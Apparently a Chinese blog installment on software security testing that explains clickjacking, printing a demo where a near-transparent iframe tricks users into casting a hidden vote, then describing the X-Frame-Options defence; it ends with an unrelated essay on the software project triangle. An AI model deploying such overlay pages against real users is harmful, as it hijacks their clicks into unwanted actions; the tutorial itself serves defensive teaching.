软件安全性测试(连载7)

简介: 软件安全性测试(连载7)

2.3点击挟持


在介绍点击挟持(clickjacking)之前来先看一下以下两段HTML代码。

index.html
<!DOCTYPE html>
<html>
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width,initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible"content="ie=edge">
 <title>click jacking demo</title>
 <style>
    body {
      padding: 0;
      margin: 0
    }
    .png {
      height: 100%;
      width: 100%;
    }
    .iframe {
      width:1840px;
      height:900px;
      position: absolute;
      top: -0px;
      left: -0px;
      z-index: 3;
      -moz-opacity: 0.3;
      opacity:0.1;
      filter: alpha(opacity=0);
    }
    .btn {
     display: inline-block;
      padding: 2px 3px;
      background: burlywood;
      color: #fff;
      position: absolute;
      top: 221px;
      left: 766px;
      z-index: 2;
      cursor: pointer;
      border-radius: 30%
    }
 </style>
</head>
<body>
 <img src="./image/clickme.jpeg"alt="">
 <iframeclass="iframe" src="./iframe.html" scolling='no'allowTransparency="true"></iframe>
 <span>click</span>
</body>
</html>
iframe.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width,initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible"content="ie=edge">
 <title>Document</title>
 <style>
    .vote{
      width: 300px;
      margin: 0 auto;
      margin-top: 220px
    }
 </style>
</head>
<body>
 <div>
    <inputtype="hidden" value="5号选手" readonly>
    <button>投票</button>
 </div>
 <script>
    var span =document.getElementsByTagName('button')[0]
    span.addEventListener('click', function(){
      console.log('哈哈,谢谢你偷偷帮我投票~')
    })
 </script>
</body>
</html>


index.html里嵌入了一张图片和一个iframe,一个专门给5号选手投票的页面(估计黑客就是5号选手)的iframe,命名为iframe.html

嵌入的图片如15所示。


image.png

15 index.html中的图片


index.html代码中“.iframe {”中的“width: 1840px;”和“height: 900px;”是精心设计的CSS参数,使提交按钮正好在两个上升的气球上面,由于opacity设置为 0.1;不是很清晰。16中圈起来的部分是将opacity设置为0.5的效果。

image.png

16 index.html中嵌入iframe的效果


当用户在点击热气球的时候,其实帮5号选手投了票。


由此可见点击挟持首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。就是通过iframe结合CSS技术,使用户在执行某个操作的时候替黑客执行了某个动作。


关于点击挟持最有名的是:获取到用户的Gmail通讯录内容,如17所示。

image.png

17 Gmail用户信息被窃取


当用户把海豚下面的球放到海豚的嘴部上端,Gmail的信息就被后台获取到。

防止点击挟持最有效的方法是在HTML请求头部加上X-Frame-Options:SAMEORIGIN。在热气球的index.htmliframesec改为。

<iframeclass="iframe" src="http://www.douban.com" scolling='no'allowTransparency="true"></iframe>


会出现“www.douban.com 拒绝了我们的连接请求。的提示。原因就是豆瓣网站在所有的页面HTML响应头部都加上X-Frame-Options:SAMEORIGIN属性。


星云测试

http://www.teststars.cc

奇林软件

http://www.kylinpet.com

联合通测

http://www.quicktesting.net


顾翔凡言:


图是软件项目三角形。

image.png

 软件项目三角形


      下面做如下假设。

l 假设质量(Q)与范围(S)不变,时间(T)减少的情形下,必须雇佣高水平的人员或者先进的技术,即增大产品的成本(C)。同理,质量(Q)与范围不变,时间(T)增加的情形下,可以减少成本(C)。

l 假设质量(Q)与时间(T)不变,范围(S)增加的情形下,也必须增大成本(C)。同理,质量(Q)与时间(T)不变,范围(S)减少的情形下,可以减少成本(C)。

l 假设质量(Q)与成本(C)不变,时间(T)减少的情形下,范围(S)必须减少。同理,质量(Q)与成本(C)不变,时间(T)增加的情形下,可以加大范围(S)。


于是可以得到如下公式:

Q = TC/S

 也就是说质量消耗单位模块的时间和金钱的乘积。从这里可以看出,完成一个功能,需要达到一定的质量,必须消耗有效的时间或者增加产品的成本投入,由此可以看出为了赶进度,盲目加班赶工是不可取的。

目录
相关文章
|
SQL 安全 前端开发
软件安全性测试(连载9)
软件安全性测试(连载9)
115 0
软件安全性测试(连载9)
|
SQL 缓存 网络协议
软件安全性测试(连载23)
软件安全性测试(连载23)
122 0
软件安全性测试(连载23)
|
存储 移动开发 算法
软件安全性测试(连载19)
软件安全性测试(连载19)
105 0
软件安全性测试(连载19)
|
JSON 监控 安全
软件安全性测试(连载2)
软件安全性测试(连载2)
127 0
软件安全性测试(连载2)
|
安全 Java PHP
软件安全性测试(连载15)
软件安全性测试(连载15)
128 0
软件安全性测试(连载15)
|
SQL 存储 Oracle
软件安全性测试(连载11)
软件安全性测试(连载11)
118 0
软件安全性测试(连载11)
|
存储 安全 Java
软件安全性测试(连载24)
软件安全性测试(连载24)
125 0
软件安全性测试(连载24)
|
存储 Web App开发 移动开发
软件安全性测试(连载8)
软件安全性测试(连载8)
91 0
软件安全性测试(连载8)
|
开发框架 安全 前端开发
软件安全性测试(连载14)
软件安全性测试(连载14)
90 0
软件安全性测试(连载14)
|
SQL 存储 安全
软件安全性测试(连载21)
软件安全性测试(连载21)
147 0
软件安全性测试(连载21)
下一篇
无影云桌面